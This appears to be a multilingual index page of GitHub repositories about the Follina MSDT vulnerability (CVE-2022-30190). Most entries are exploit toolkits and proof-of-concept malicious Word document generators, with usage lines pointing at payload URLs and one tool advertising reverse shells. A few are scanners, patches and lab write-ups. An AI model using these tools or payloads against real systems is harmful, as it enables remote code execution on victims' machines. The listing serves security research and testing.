five-nights-at-follina-s

Five Nights at Follina's 一个Fullstack Academy网络安全项目，研究Follina漏洞（CVE-2022-30190）的完整生命周期，从利用到检测与防御。 团队： Brian Aldrich YoungWa Kim Jay O'Neill Binyang Jeffrey Xu 这套工具假定你有一个网络主机，或者可以使用Python搭建一个简单的Web服务器来托管生成或示例的payload文件。 免责声明 "Example...

Ninja

快速更新，包含 Follina 利用（2022-06-01）- NinjaC2 将生成文档并提供 HTML 负载。 更多信息：https://www.linkedin.com/posts/ahmed-khlief-499321a7i-just-pushed-a-quick-update-to-ninjac2-to-activity-6937661951007170560-Tmps Ninja V2.2 发布（2022-03-27）。 新功能包括： 查看 URL 获取功能详情以及如何使用 AWS EC2 自动化： 1. CNC 脚本的新用户界面 2...

FollinaScanner

FollinaScanner 一个用 Go 编写的工具，用于扫描文件及目录中是否存在 Follina 漏洞 CVE-2022-30190 （注：“可疑文件”指包含 URL 但未生效的文件） 编译 root@kitploit: git clone https://github.com/ErrorNoInternet/FollinaScanner cd FollinaScanner go build 用法 root@kitploit: 扫描当前目录 ./follina-scanner -r . 扫描指定文件 ./follina-scanner amogus.docx 使用...

Follina-CVE-2022-30190-Unofficial-patch

Follina-CVE-2022-30190-Unofficial-patch- Un parche no oficial de Follina CVE-2022-30190 parche por las directrices de Microsoft. para más detalles visite: https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/ Acerca del programa Es...

FOLLINA-CVE-2022-30190

FOLLINA-CVE-2022-30190 Implementación de FOLLINA-CVE-2022-30190 Este repositorio contiene una herramienta de explotación para la vulnerabilidad FOLLINA-CVE-2022-30190 Aviso legal Esta herramienta fue desarrollada con fines de pruebas de seguridad e investigación. Al clonar / hacer fork de esta...

CVE-2022-30190

CVE-2022-30190 Basado en https://github.com/JohnHammond/msdt-follina Configuración del entorno Usa los archivos en /env-setup 1. Máquina virtual: usa VirtualBox y Win1021H2Englishx32.iso Build 19044.1288 2. Instala Microsoft Word, ejecuta setup.exe /configure configuration.xml usando cmd dentro d...

CVE-2022-30190

Explotación de Follina CVE-2022-30190 Follina CVE-2022-30190 es una vulnerabilidad crítica de ejecución remota de comandos RCE que afecta a la Herramienta de diagnóstico de soporte de Microsoft MSDT. Esta falla fue descubierta originalmente a través de un archivo malicioso detectado en VirusTotal...

go_follina

gofollina Follina CVE-2022-30190 prueba de concepto. Inspirado en : https://github.com/JohnHammond/msdt-follina https://github.com/chvancooten/follina.py...

follina_cve_2022-30190

follinacve2022-30190 CVE-2022-30190（follina）的概念验证。 root@kitploit: usage: exploit.py -h -u HOSTIP -p PORT -o OFILE -m server, create -s script | scriptfile.ps1 -r HOSTIP:PORT Follina Exploitation Toolkit options: -h, --help show this help message and exit -u HOSTIP, --host HOSTIP host ip address -...

follina-spring

Explotación de Follina MS-MSDT con Spring Boot Este repositorio contiene una aplicación Spring Boot simple que actúa tanto como servidor para alojar/activar payloads de Follina , como generador de documentos de Word maliciosos listos para ser usados como vectores de ataque para explotar...

Follina_Exploiter_CLI

Follina Exploiter CLI 工具 — MSDT 漏洞 CVE-2022-30190 一个基于命令行的 Python 工具，用于利用 MSDT（微软支持诊断工具）中的零日漏洞，即“Follina”（CVE-2022-30190）。 信息：新的微软 Office 零日漏洞被用于攻击以执行 PowerShell 使用 Python（3.10.4）开发 功能 1. 在目标设备上执行恶意命令。 2. 获取反向 Shell（NetCat）。 3. 包含零点击 RTF 支持，适用于 .rtf 文件。新增 依赖 pyfiglet 安装 克隆仓库 root@kitploit:...

CVE-2022-30190-Follina-Lab

🔴 CVE-2022-30190 — Laboratorio Follina MSDT RCE Investigador: Abhimanyu Rawat Rol: Becario de Investigación Técnica y Operaciones de Ciberseguridad Fecha: 8 de mayo de 2026 📌 ¿Qué es Follina? CVE-2022-30190 apodado "Follina" es una vulnerabilidad de ejecución remota de código RCE de día cero en...

CVE-2022-30190

CVE-2022-30190 Follina – Prueba de Concepto Resumen Este proyecto demuestra una prueba de concepto de exploit para CVE-2022-30190, también conocida como "Follina" – una vulnerabilidad crítica de ejecución remota de código que afecta a Microsoft Office a través del protocolo MSDT. La aplicación...

CVE-2022-30190

CVE-2022-30190 CVE-2022-30190 Follina POC Aloja exploit.html en localhost, puerto 80. Abre el docx para abrir la calculadora. Para cambiar la dirección remota a la que apunta el documento, ábrelo en 7Z y edita word\rels\document.xml.rels para que apunte a una nueva ubicación. DEBES conservar el...

Follina-CVE-2022-30190-Sample

Follina-CVE-2022-30190-Sample-by-ethical-blue Herramienta educativa Follina Historial de versiones v1.1 — Ofuscación de payload JavaScript v1.0 — Versión inicial Características Generador de payload .RTF Servidor HTTP simple para el payload Consejos de mitigación Extractor de configuración Fácil ...

Follina-CVE-2022-30190-POC

Follina-CVE-2022-30190 Prueba de concepto por Nee Uso root@kitploit: python3 follina.py --payload-url "http://192.168.200.144:1337/pwn.html" Qué hace Crea un archivo de Word malicioso que apunta a la URL del payload que especifiques Aloja el payload predeterminado ubicado en la carpeta web La...

CVE-2022-30190

CVE-2022-30190 Follina Una prueba de concepto PoC para CVE-2022-30190 Follina. Requisitos Víctima Windows 10 21H1 equivalente/anteriores Actualización de seguridad KB5016616 desinstalada Atacante Microsoft .NET SDK Python 3.9 o posterior Configuración Edite config.xml para modificar el nombre de...

CVE-2022-30190---Follina---Poc-Exploit

Follina - CVE-2022-30190 Follina es una vulnerabilidad de día cero que permite la ejecución de código en los productos de Office. Instalación root@kitploit: git clone https://github.com/WesyHub/CVE-2022-30190---Follina---Poc-Exploit.git Uso Ejemplo: root@kitploit: python3 FollinaSploit.py -c calc...

CVE-2022-30190

MS-MSDT Follina CVE-2022-30190 PoC Malicious docx generator to exploit Microsoft Office Word Remote Code Execution Creation of this Script is based on CVE-2021-40444 PoC by LockedByte and writeup by Tothi Using First modify backup.html and replace powershell payload. Right now just pops a calc.ex...

CVE-2022-30190

CVE-2022-30190 aka Follina 漏洞說明 Follina存在於微軟支援診斷工具（Microsoft Support Diagnostic Tool，MSDT）中，當有應用程式透過URL協定呼叫MSDT進行支援時，就會出現遠端程式攻擊漏洞，成功的開採將允許駭客基於所執行應用程式的權限，來執行任意程式。 漏洞復現環境 root@kitploit: Host OS: Ubuntu 22.04 LST Guest OS: Windows 10 Pro x64, version 2004, build 19041.1237 Microsoft office: word 201...